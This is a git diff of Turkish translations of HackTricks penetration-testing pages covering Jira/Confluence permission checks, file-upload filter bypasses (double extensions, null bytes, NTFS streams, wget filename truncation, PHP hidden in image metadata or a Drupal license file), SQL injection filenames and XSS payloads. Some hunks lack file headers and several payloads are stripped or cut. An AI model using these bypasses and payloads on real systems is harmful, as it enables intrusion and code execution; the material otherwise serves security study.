+Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya zaten Drupal çekirdeğinde mevcuttur), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu parçası eklemek için mükemmel (çünkü dosya yeterince büyük).
diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md
index 438d4dcdc..6bcae645b 100644
--- a/network-services-pentesting/pentesting-web/jira.md
+++ b/network-services-pentesting/pentesting-web/jira.md
@@ -1,31 +1,31 @@
# Jira & Confluence
{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks
+HackTricks'i Destekleyin
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
+* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
-
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
-## Check Privileges
+## Yetkileri Kontrol Et
-Jira'da, **yetkiler herhangi bir kullanıcı tarafından**, kimlik doğrulaması yapılmış veya yapılmamış, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **ödül** için uygun bir **güvenlik açığı** gösterebilir. Benzer şekilde, **kimlik doğrulaması yapılmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
+Jira'da, **yetkiler herhangi bir kullanıcı tarafından**, kimlik doğrulaması yapılmış veya yapılmamış, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **güvenlik açığı** anlamına gelir. Benzer şekilde, **kimlik doğrulaması yapılmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
-**1 Şubat 2019'da** önemli bir **güncelleme** yapıldı ve 'mypermissions' uç noktasının bir **'permission' parametresi** içermesi gerektiği belirtildi. Bu gereklilik, sorgulanan yetkilerin belirtilmesiyle **güvenliği artırmayı** amaçlamaktadır: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
+**1 Şubat 2019**'da önemli bir **güncelleme** yapıldı ve 'mypermissions' uç noktasının bir **'permission' parametresi** içermesi gerektiği belirtildi. Bu gereklilik, sorgulanan yetkilerin belirtilmesiyle **güvenliği artırmayı** amaçlamaktadır: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@@ -129,7 +129,7 @@ Kötü niyetli bir eklentinin gerçekleştirebileceği bazı eylemler şunlardı
* **Ters Shell**: Ya da ters bir shell almak.
* **DOM Proxying**: Eğer confluence özel bir ağ içindeyse, buna erişimi olan bir kullanıcının tarayıcısı aracılığıyla bir bağlantı kurmak ve örneğin sunucu komutunu çalıştırmak mümkündür.
-
+
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@@ -144,8 +144,8 @@ GCP Hacking'i öğrenin ve pratik yapın:
{% endhint %}
-
+
-**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -40,7 +40,7 @@ Diğer yararlı uzantılar:
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
* _file.png.php_
* _file.png.Php5_
-3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
+3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@@ -50,7 +50,7 @@ Diğer yararlı uzantılar:
* _file._
* _file.php...._
* _file.pHp5...._
-4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlatmaya çalışın, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
+4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlatmayı deneyin, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@@ -62,16 +62,16 @@ Diğer yararlı uzantılar:
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
-6. **Geçerli uzantıdan önce exec uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmese de kod çalıştırır):
+6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmese de kod çalıştırır):
* _ör: file.php.png_
-7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
+7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra diğer teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
-# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin verdiğini. Diyelim ki 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
+# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Yükü oluştur
@@ -80,31 +80,31 @@ AAA<--SNIP 232 A-->AAA.php.png
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
-* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** şu şekilde ayarlayın: _image/png_, _text/plain_, application/octet-stream_
+* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
`exiftool -Comment="' >> img.png`
-* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan PLTE parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
+* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan IDAT parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
+* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan tEXt parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
+* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Kontrol Edilecek Diğer İpuçları
* Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için).
-* **Yerel Dosya Dahil Etme** zafiyetini bulmak için çalışın, arka kapıyı çalıştırmak için.
+* Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
* **Olası Bilgi sızıntısı**:
-1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
+1. **Aynı dosyayı** **birkaç kez** (ve **aynı anda**) **aynı isimle** yükleyin.
2. **Zaten var olan** bir **dosya** veya **klasör** ismiyle bir dosya yükleyin.
-3. **“.”, “..” veya “…”** ismine sahip bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
-4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
+3. **“.”, “..” veya “…”** gibi bir isme sahip bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
+4. **NTFS**'te kolayca silinmeyebilecek bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
5. **Windows**'ta ismi `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
-6. **Windows**'ta **rezerv** (**yasaklı**) **isimler** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
-* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **kurban tarafından yanlışlıkla açıldığında** çalıştırmak için yüklemeyi deneyin.
+6. **Windows**'ta **rezerv** (**yasaklı**) **isimler** kullanarak bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
+* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
### Özel uzantı ipuçları
@@ -113,7 +113,7 @@ Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalış
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
-`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
+`.inc` uzantısı bazen yalnızca dosyaları **içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş** olabilir.
## **Jetty RCE**
@@ -151,8 +151,8 @@ uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlam
## **wget Dosya Yükleme/SSRF Hilesi**
-Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, **bu kontrol atlatılabilir.**\
-**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
+Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğinden emin olmak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
+**Linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -186,17 +186,17 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
* **filename**'i `
{% endhint %}
diff --git a/pentesting-web/sql-injection/postgresql-injection/README.md b/pentesting-web/sql-injection/postgresql-injection/README.md
index 03a5a7cc4..fe504940a 100644
--- a/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -9,15 +9,15 @@ GCP Hacking öğrenin ve pratik yapın:
+
-**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
+**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -27,11 +27,11 @@ GCP Hacking öğrenin ve pratik yapın:
+
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
-AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+AWS Hackleme öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hackleme öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -113,7 +113,7 @@ GCP Hacking'i öğrenin ve pratik yapın:
+
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@@ -15,19 +15,19 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
1. **ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
- 3. Koruma mekanizmalarını aşabilir misiniz?
- 4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
+ 3. Koruma önlemlerini aşabilir misiniz?
+ 4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
2. **HTML etiketinin** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
- 3. Sıkıştığınız niteliğin JS çalıştırmayı destekleyip desteklemediği?
- 4. Koruma mekanizmalarını aşabilir misiniz?
+ 3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
+ 4. Koruma önlemlerini aşabilir misiniz?
3. **JavaScript kodunun** içinde:
1. ``** etiketleri arasında, bir `.js` dosyası içinde veya bir niteliğin içinde **`javascript:`** protokolü kullanılarak yansıtılır:
-* Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştıracağı** ve ardından içeriği işleyeceği için çalışır, bu nedenle enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
+* Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
* `'-alert(1)-'`
* `';-alert(1)//`
@@ -98,7 +98,7 @@ Javascript Hoisting, **kullanımdan sonra fonksiyonları, değişkenleri veya s
### Javascript Fonksiyonu
-Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta sıkça görülen bir örnek: `?callback=callbackFunc`.
+Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
@@ -130,7 +130,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### DOM
-**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
+**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@@ -138,7 +138,7 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### **Evrensel XSS**
-Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
+Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
Bazı **örnekler**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
@@ -157,9 +157,9 @@ Bazı **örnekler**:
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
-_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
+_**Not: Bir HTML yorumu, `-->` veya `--!>` kullanılarak kapatılabilir.**_
-Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu yükleri kullanabilirsiniz:
+Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz:
```html
@@ -170,11 +170,11 @@ Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceği
### Etiketler/Olaylar brute-force
-[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
+[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü takip edin).
### Özel etiketler
